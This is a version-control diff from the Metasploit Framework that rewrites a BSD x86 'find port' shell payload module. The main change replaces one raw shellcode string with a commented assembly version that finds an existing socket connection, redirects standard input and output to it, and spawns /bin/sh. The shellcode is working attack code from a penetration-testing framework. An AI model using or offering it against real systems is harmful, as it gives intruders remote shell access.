Changeset 4841

Show
Ignore:
Timestamp:
05/02/07 22:12:24 (1 year ago)
Author:
hdm
Message:

More payloads from Ramon (fixes #98, #99, #100, #101)

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/tags/framework-3.0/modules/payloads/singles/bsd/x86/shell_find_port.rb

    r4571 r4841  
    1 ## 
    21# $Id$ 
    3 ## 
    4  
    5 ## 
    6 # This file is part of the Metasploit Framework and may be subject to  
    7 # redistribution and commercial restrictions. Please see the Metasploit 
    8 # Framework web site for more information on licensing and terms of use. 
    9 # http://metasploit.com/projects/Framework/ 
    10 ## 
    11  
    122 
    133require 'msf/core' 
     
    3020                        'Version'       => '$Revision$', 
    3121                        'Description'   => 'Spawn a shell on an established connection', 
    32                         'Author'        => 'vlad902', 
     22                        'Author'        => 'Ramon de Carvalho Valle <ramon@risesecurity.org>', 
    3323                        'License'       => MSF_LICENSE, 
    3424                        'Platform'      => 'bsd', 
     
    4030                                        'Offsets' => 
    4131                                                { 
    42                                                         'CPORT' => [ 24, 'n' ], 
     32                                                        'CPORT' => [ 25, 'n' ], 
    4333                                                }, 
    4434                                        'Payload' => 
    45                                                 "\x31\xff\x57\x89\xe5\x47\x89\xec\x6a\x10\x54\x55" + 
    46                                                 "\x57\x6a\x1f\x58\x6a\x02\xcd\x80\x66\x81\x7d\x02" + 
    47                                                 "\x11\x5c\x75\xe9\x59\x51\x57\x6a\x5a\x58\x51\xcd" + 
    48                                                 "\x80\x49\x79\xf5\x68\x2f\x2f\x73\x68\x68\x2f\x62" + 
    49                                                 "\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" 
     35                                                        "\x31\xc0"             +#   xorl    %eax,%eax                  # 
     36                                                        "\x50"                 +#   pushl   %eax                       # 
     37                                                        "\x89\xe7"             +#   movl    %esp,%edi                  # 
     38                                                        "\x6a\x10"             +#   pushl   $0x10                      # 
     39                                                        "\x54"                 +#   pushl   %esp                       # 
     40                                                        "\x57"                 +#   pushl   %edi                       # 
     41                                                        "\x50"                 +#   pushl   %eax                       # 
     42                                                        "\x50"                 +#   pushl   %eax                       # 
     43                                                        "\x58"                 +#   popl    %eax                       # 
     44                                                        "\x58"                 +#   popl    %eax                       # 
     45                                                        "\x40"                 +#   incl    %eax                       # 
     46                                                        "\x50"                 +#   pushl   %eax                       # 
     47                                                        "\x50"                 +#   pushl   %eax                       # 
     48                                                        "\x6a\x1f"             +#   pushl   $0x1f                      # 
     49                                                        "\x58"                 +#   popl    %eax                       # 
     50                                                        "\xcd\x80"             +#   int     $0x80                      # 
     51                                                        "\x66\x81\x7f\x02\x04\xd2"+#   cmpw    $0xd204,0x02(%edi)         # 
     52                                                        "\x75\xee"             +#   jne     <fndsockcode+11>           # 
     53                                                        "\x50"                 +#   pushl   %eax                       # 
     54                                                        "\x6a\x5a"             +#   pushl   $0x5a                      # 
     55                                                        "\x58"                 +#   popl    %eax                       # 
     56                                                        "\xcd\x80"             +#   int     $0x80                      # 
     57                                                        "\xff\x4f\xf0"         +#   decl    -0x10(%edi)                # 
     58                                                        "\x79\xf6"             +#   jns     <fndsockcode+30>           # 
     59                                                        "\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                # 
     60                                                        "\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                # 
     61                                                        "\x89\xe3"             +#   movl    %esp,%ebx                  # 
     62                                                        "\x50"                 +#   pushl   %eax                       # 
     63                                                        "\x54"                 +#   pushl   %esp                       # 
     64                                                        "\x53"                 +#   pushl   %ebx                       # 
     65                                                        "\x50"                 +#   pushl   %eax                       # 
     66                                                        "\xb0\x3b"             +#   movb    $0x3b,%al                  # 
     67                                                        "\xcd\x80"              #   int     $0x80                      # 
    5068                                } 
    5169                        ))